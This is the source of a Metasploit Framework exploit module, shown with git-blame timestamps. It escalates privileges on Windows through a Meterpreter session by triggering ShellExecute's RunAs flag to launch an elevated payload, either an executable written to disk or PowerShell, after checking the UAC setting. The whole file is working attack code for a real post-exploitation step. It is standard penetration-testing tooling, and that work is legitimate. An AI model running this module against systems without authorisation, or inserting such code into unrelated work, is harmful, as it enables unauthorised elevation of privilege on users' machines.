metasploit-framework/modules/exploits/windows/local/ask.rb

62 lines
1.7 KiB
Ruby
Raw Normal View History

2012-10-06 04:51:44 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2012-10-06 04:51:44 +00:00
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Local
2013-09-05 18:41:25 +00:00
Rank = ExcellentRanking
include Post::Windows::Priv
include Post::Windows::Runas
2013-09-05 18:41:25 +00:00
2014-07-31 22:07:17 +00:00
def initialize(info = {})
super(update_info(info,
2013-09-05 18:41:25 +00:00
'Name' => 'Windows Escalate UAC Execute RunAs',
2014-07-31 22:07:17 +00:00
'Description' => %q(
2013-09-05 18:41:25 +00:00
This module will attempt to elevate execution level using
the ShellExecute undocumented RunAs flag to bypass low
UAC settings.
2014-07-31 22:07:17 +00:00
),
2013-09-05 18:41:25 +00:00
'License' => MSF_LICENSE,
'Author' => [
2014-07-31 22:07:17 +00:00
'mubix', # Original technique
'b00stfr3ak' # Added powershell option
],
2014-07-31 22:07:17 +00:00
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
2013-09-05 18:41:25 +00:00
'DefaultTarget' => 0,
2014-07-31 22:07:17 +00:00
'DisclosureDate' => 'Jan 3 2012'
2013-09-05 18:41:25 +00:00
))
register_options([
2014-07-31 22:07:17 +00:00
OptString.new('FILENAME', [false, 'File name on disk']),
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
2013-09-05 18:41:25 +00:00
])
end
def exploit
if is_uac_enabled?
2014-07-31 22:07:17 +00:00
print_status 'UAC is Enabled, checking level...'
2014-03-22 17:57:27 +00:00
case get_uac_level
when UAC_NO_PROMPT
2014-07-31 22:07:17 +00:00
print_good 'UAC is not enabled, no prompt for the user'
else
print_status "The user will be prompted, wait for them to click 'Ok'"
2014-03-22 17:57:27 +00:00
end
else
2014-07-31 22:07:17 +00:00
print_good 'UAC is not enabled, no prompt for the user'
2013-09-05 18:41:25 +00:00
end
2014-03-22 17:57:27 +00:00
2014-07-31 22:07:17 +00:00
case datastore['TECHNIQUE']
when 'EXE'
shell_execute_exe(datastore['FILENAME'], datastore['PATH'])
2014-07-31 22:07:17 +00:00
when 'PSH'
shell_execute_psh
2013-09-05 18:41:25 +00:00
end
end
end